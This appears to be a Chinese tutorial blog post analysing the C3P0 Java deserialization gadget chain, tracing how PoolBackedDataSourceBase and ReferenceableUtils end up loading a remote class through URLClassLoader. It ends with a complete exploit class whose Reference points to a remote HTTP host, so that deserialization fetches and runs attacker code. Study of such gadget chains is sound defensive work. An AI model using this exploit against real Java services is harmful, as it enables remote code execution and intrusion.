【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

目录

前言

C3P0介绍

回归本源——序列化的条件

利用链

利用链分析

入口——PoolBackedDataSourceBase#readObject

拨云见日——PoolBackedDataSourceBase#writeObject

综合分析

EXP


前言

这条链最让我眼前一亮的就是对Serializable接口的有无进行了一个玩,相较之前纯粹跟全继承Serializable接口的链子,思考又多了一个维度。(虽然不是关键)

C3P0介绍

pom依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。 

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

回归本源——序列化的条件

求求师傅们别嫌我烦,让我再啰嗦几句QWQ

提问:

一个类的某个属性没有继承Serializable接口,这个类可以序列化吗?

回答:

在 Java 中,如果一个类的某个属性没有实现 Serializable 接口,但这个属性是 transient 的,那么这个类仍然可以被序列化。当对象被序列化时,transient 修饰的属性将会被忽略,不会被序列化到输出流中,而其他非 transient 的属性则会被正常序列化。

如果一个类的某个属性既不是 transient 的,也没有实现 Serializable 接口,那么在尝试对该类的实例对象进行序列化时,会导致编译错误或者在运行时抛出 NotSerializableException 异常。

因此,为了确保一个类的实例对象可以被成功序列化,通常建议满足以下条件:

  1. 类本身实现 Serializable 接口;
  2. 所有非 transient 的属性都实现 Serializable 接口,或者是基本数据类型(如 int、long 等);
  3. 如果有某些属性不需要被序列化,可以将它们声明为 transient。

利用链

PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance

利用链分析

入口——PoolBackedDataSourceBase#readObject

PoolBackedDataSourceBase中有个ConnectionPoolDataSource类型的私用属性

private ConnectionPoolDataSource connectionPoolDataSource;

 注意到ConnectionPoolDataSource没有继承Serializable接口,也就无法被序列化

public interface ConnectionPoolDataSource  extends CommonDataSource

点到为止,再看PoolBackedDataSourceBase#readObject

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        short version = ois.readShort();
        switch (version) {
            case 1:
                Object o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }

                this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
                this.dataSourceName = (String)ois.readObject();
                o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }

                this.extensions = (Map)o;
                this.factoryClassLocation = (String)ois.readObject();
                this.identityToken = (String)ois.readObject();
                this.numHelperThreads = ois.readInt();
                this.pcs = new PropertyChangeSupport(this);
                this.vcs = new VetoableChangeSupport(this);
                return;
            default:
                throw new IOException("Unsupported Serialized Version: " + version);
        }
    }

我们发现一个奇怪的逻辑:

判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,若是则调用getobject后强转对象为ConnectionPoolDataSource

也就是在反序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource

这么做的目的是什么呢?

抛开目的不谈,((IndirectlySerialized)o).getObject()我们也不知道其具体实现是什么

public interface IndirectlySerialized extends Serializable {
    Object getObject() throws ClassNotFoundException, IOException;
}

 反序列化分析到这一步似乎已经瓶颈,我们下面再来看序列化的过程。

拨云见日——PoolBackedDataSourceBase#writeObject

来看PoolBackedDataSourceBase#writeObject

private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.writeShort(1);

        ReferenceIndirector indirector;
        try {
            SerializableUtils.toByteArray(this.connectionPoolDataSource);
            oos.writeObject(this.connectionPoolDataSource);
        } catch (NotSerializableException var9) {
            MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);

            try {
                indirector = new ReferenceIndirector();
                oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
            } 

这段逻辑是,首先尝试序列化当前对象的connectionPoolDataSource属性,若抛出NotSerializableException异常,即不能序列化,则catch这个异常,并用ReferenceIndirector.indirectForm处理后再序列化。

因为ConnectionPoolDataSource没有继承Serializable接口(上面提到过),所以我们会进到异常的逻辑中

跟进new ReferenceIndirector().indirectForm

public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }

调用了connectionPoolDataSource属性的getReference(),返回Reference后作为参数封装进ReferenceSerialized对象,而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口,因此ReferenceSerialized可被序列化。

private static class ReferenceSerialized implements IndirectlySerialized
public interface IndirectlySerialized extends Serializable

OK到这里为止,我们知道了connectionPoolDataSource属性的序列化,最后写入的是ReferenceSerialized

也就是在序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource

太好了,我逐渐理解了一切!

综合分析

上面所讲的序列化的过程其实就是为了照顾到不能直接序列化的ConnectionPoolDataSource,先提供一个可序列化的ReferenceSerialized(IndirectlySerialized)进行中转。

而反序列化的过程就是把中转的ReferenceSerialized(IndirectlySerialized)再度还原为PoolBackedDataSourceBase类的属性ConnectionPoolDataSource

好的,我们回过头再来看PoolBackedDataSourceBase#readObject中的这段代码

Object o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }

                this.connectionPoolDataSource = (ConnectionPoolDataSource)o;

((IndirectlySerialized)o).getObject()其实就是调用ReferenceIndirector#getObject

public Object getObject() throws ClassNotFoundException, IOException {
            try {
                InitialContext var1;
                if (this.env == null) {
                    var1 = new InitialContext();
                } else {
                    var1 = new InitialContext(this.env);
                }

                Context var2 = null;
                if (this.contextName != null) {
                    var2 = (Context)var1.lookup(this.contextName);
                }

                return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
            }

跟进ReferenceableUtils.referenceToObject()

顾名思义,这个方法用于将引用(Reference)转换为对象

 public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
        try {
            String var4 = var0.getFactoryClassName();
            String var11 = var0.getFactoryClassLocation();
            ClassLoader var6 = Thread.currentThread().getContextClassLoader();
            if (var6 == null) {
                var6 = ReferenceableUtils.class.getClassLoader();
            }

            Object var7;
            if (var11 == null) {
                var7 = var6;
            } else {
                URL var8 = new URL(var11);
                var7 = new URLClassLoader(new URL[]{var8}, var6);
            }

            Class var12 = Class.forName(var4, true, (ClassLoader)var7);
            ObjectFactory var9 = (ObjectFactory)var12.newInstance();
            return var9.getObjectInstance(var0, var1, var2, var3);
        }

Reference是之前序列化时候可控的(序列化时通过调用connectionPoolDataSource属性的getReference方法),我们只要传一个覆写了getReference方法的connectionPoolDataSource给PoolBackedDataSourceBase参与序列化即可。

之后显然可以通过URLClassLoader加载并实例化远程类

EXP

package com.c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field cp = clazz.getDeclaredField("connectionPoolDataSource");
        cp.setAccessible(true);
        cp.set(base, new evil());

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(base);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();

    }

    public static class evil implements ConnectionPoolDataSource, Referenceable{

        public Reference getReference() throws NamingException {
            return new Reference("calc", "calc", "http://124.222.136.33:1337/");
        }

        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        public void setLoginTimeout(int seconds) throws SQLException {

        }

        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/445864.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

权限管理系统-0.2.0

三、菜单管理接口 3.1 创建SysMenu类及相关类 首先创建sys_menu表&#xff1a; CREATE TABLE sys_menu (id bigint(20) NOT NULL AUTO_INCREMENT COMMENT 编号,parent_id bigint(20) NOT NULL DEFAULT 0 COMMENT 所属上级,name varchar(20) NOT NULL DEFAULT COMMENT 名称,…

【脚本玩漆黑的魅影】寂雨镇全自动练级

文章目录 原理全部代码 原理 老样子。 治疗路径&#xff0c;练级路径。 def zhi_liao(): # 去治疗walk(RIGHT)walk(RIGHT)press(UP, 0.4)for i in [1, 2, 3, 4]:press(A)for i in [1, 2, 3, 4]:press(B)press(DOWN, 0.4)press(LEFT) def chu_qu(): # 右逛c.press(B)press(…

力扣同类题:重排链表

很明显做过一次 class Solution { public:void reorderList(ListNode* head) {if(!head||!head->next)return;ListNode *fasthead,*lowhead;ListNode *prenullptr,*curnullptr,*nextnullptr;while(fast->next!nullptr){fastfast->next;if(fast->next)fastfast->…

风控规则决策树可视化(升级版)

上一篇我们介绍了如何通过交叉表来生成规则&#xff0c;本篇我们来介绍一种可以生成多规则的方法&#xff0c;决策树。除了做模型以外&#xff0c;也可以用来挖掘规则&#xff0c;原理是一样的。 下面通过sklearn的决策树方法来实现风控规则的发现&#xff0c;同时分享一种可以…

【联邦学习综述:概念、技术】

出自——联邦学习综述&#xff1a;概念、技术、应用与挑战。梁天恺 1*&#xff0c;曾 碧 2&#xff0c;陈 光 1 从两个方面保护隐私数据 硬件层面 可 信 执 行 环 境 &#xff08;Trusted Execution Environment&#xff0c;TEE&#xff09;边 缘 计 算&#xff08;Edge Com…

电动车窗开关中MOS管的应用解析

随着科技的不断发展&#xff0c;电动车窗系统已经成为现代汽车中不可或缺的一部分。而MOS&#xff08;金属氧化物半导体&#xff09;管的应用&#xff0c;为电动车窗开关注入了新的活力&#xff0c;极大地提高了其使用寿命和安全性。 一、MOS的优越性能 MOS管以其卓越的开关…

磁盘无法访问?别慌,这里有解决之道!

电脑中&#xff0c;那块储存着重要文件与数据的磁盘&#xff0c;突然之间无法访问&#xff0c;是不是让你感到惊慌失措&#xff1f;面对这样的突发状况&#xff0c;很多人可能会感到手足无措。但别担心&#xff0c;本文将为你解析磁盘无法访问的原因&#xff0c;并提供实用的数…

小文件问题及GlusterFS的瓶颈

01海量小文件存储的挑战 为了解决海量小文件的存储问题&#xff0c;必须采用分布式存储&#xff0c;目前分布式存储主要采用两种架构&#xff1a;集中式元数据管理架构和去中心化架构。 (1)集中式元数据架构&#xff1a; 典型的集中式元数据架构的分布式存储有GFS&#xff0…

代码讲解:如何把3D数据转换成旋转的视频?

目录 3D数据集下载 读取binvox文件 使用matplotlib创建图 动画效果 完整代码 3D数据集下载 这里以shapenet数据集为例&#xff0c;可以访问外网的可以去直接申请下载&#xff1b;我也准备了一个备份在百度网盘的数据集&#xff0c;可以参考&#xff1a; ShapeNet简介和下…

Leetcode 54. 螺旋矩阵

题目描述&#xff1a; 给你一个 m 行 n 列的矩阵 matrix &#xff0c;请按照 顺时针螺旋顺序 &#xff0c;返回矩阵中的所有元素。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,2,3],[4,5,6],[7,8,9]] 输出&#xff1a;[1,2,3,6,9,8,7,4,5] 示例 2&#xff1a; 输入&a…

Linux文件系列: 深入理解缓冲区和C标准库的简单模拟实现

Linux文件系列: 深入理解缓冲区和C标准库的简易模拟实现 一.缓冲区的概念和作用二.一个样例三.理解样例1.样例解释2.什么是刷新? 四.简易模拟实现C标准库1.我们要实现的大致框架2.mylib.h的实现1.文件结构体的定义2.myfopen等等函数的声明3.完整mylib.h代码 3.myfopen函数的实…

备战蓝桥杯Day25 - 二叉搜索树

一、基本概念 二叉搜索树&#xff08;Binary Search Tree&#xff09;&#xff0c;又称为二叉查找树或二叉排序树&#xff0c;是一种具有特定性质的二叉树。 定义&#xff1a;二叉搜索树可以是一棵空树&#xff0c;也可以是具有以下特性的非空二叉树&#xff1a; 若其左子树不…

MAC OS 14.2.1 ASP.NET Core 调试遇到的端口占用的问题

一、问题描述 在调试 ASP.NET Core 项目时&#xff0c;遇到一个很奇怪的问题&#xff0c;不管项目是否已经运行&#xff0c;使用 Postman 测试接口时&#xff0c;都返回 403 Forbidden。重启电脑&#xff0c;刚开始还好好的&#xff0c;过一会儿就返回 403 Forbidden。 二、问…

AOP切面编程,以及自定义注解实现切面

AOP切面编程 通知类型表达式重用表达式切面优先级使用注解开发&#xff0c;加上注解实现某些功能 简介 动态代理分为JDK动态代理和cglib动态代理当目标类有接口的情况使用JDK动态代理和cglib动态代理&#xff0c;没有接口时只能使用cglib动态代理JDK动态代理动态生成的代理类…

2024蓝桥杯每日一题(双指针)

一、第一题&#xff1a;牛的学术圈 解题思路&#xff1a;双指针贪心 仔细思考可以知道&#xff0c;写一篇综述最多在原来的H指数的基础上1&#xff0c;所以基本方法可以是先求出原始的H指数&#xff0c;然后分类讨论怎么样提升H指数。 【Python程序代码】 n,l map(int,…

一篇文章搞定数字电桥

大家好&#xff0c;我是砖一。 最近做项目过程中&#xff0c;有一个应届生问我怎么测电容和电感&#xff0c;我推荐他使用数字电桥&#xff08;也叫LCR表&#xff09;&#xff0c;他不会用&#xff0c;今天我写了一篇文章供小白们参考一下&#xff0c;包学会~ 一&#xff0c;…

WebRTC简介及实战应用 — 从0到1实现实时音视频聊天等功能

一、WebRTC简介 WebRTC 是由一家名为 Gobal IP Solutions,简称 GIPS 的瑞典公司开发的。Google 在 2011 年收购了 GIPS,并将其源代码开源。然后又与 IETF 和 W3C 的相关标准机构合作,以确保行业达成共识。其中: Web Real-Time Communications (WEBRTC) W3C 组织:定义浏览…

【npm】node包管理工具npm的介绍和基础使用

简言 npm 是 Node.js 的 包管理器&#xff08;Package Manager&#xff09;&#xff0c;它是专门用于管理 Node.js 项目中第三方库的工具。 本文介绍下npm和其使用方法。 npm介绍 npm 是世界上最大的软件注册中心。各大洲的开源开发者都使用 npm 共享和借用软件包&#xff…

开源组件安全风险及应对

在软件开发的过程中&#xff0c;为了提升开发效率、软件质量和稳定性&#xff0c;并降低开发成本&#xff0c;使用开源组件是开发人员的不二选择&#xff08;实际上&#xff0c;所有软件开发技术的演进都是为了能够更短时间、更低成本地构建软件&#xff09;。这里的开源组件指…

Spring事件发布监听器ApplicationListener原理- 观察者模式

据说监听器模式也是mq实现的原理, 不过mq我还没来得及深入学习, 先用spring来理解一下吧 Spring事件发布监听器ApplicationListener原理- 观察者模式 什么是观察者模式一个Demo深入认识一下观察者模式Spring中的事件发布监听ps 什么是观察者模式 大家都听过一个故事叫做烽火戏…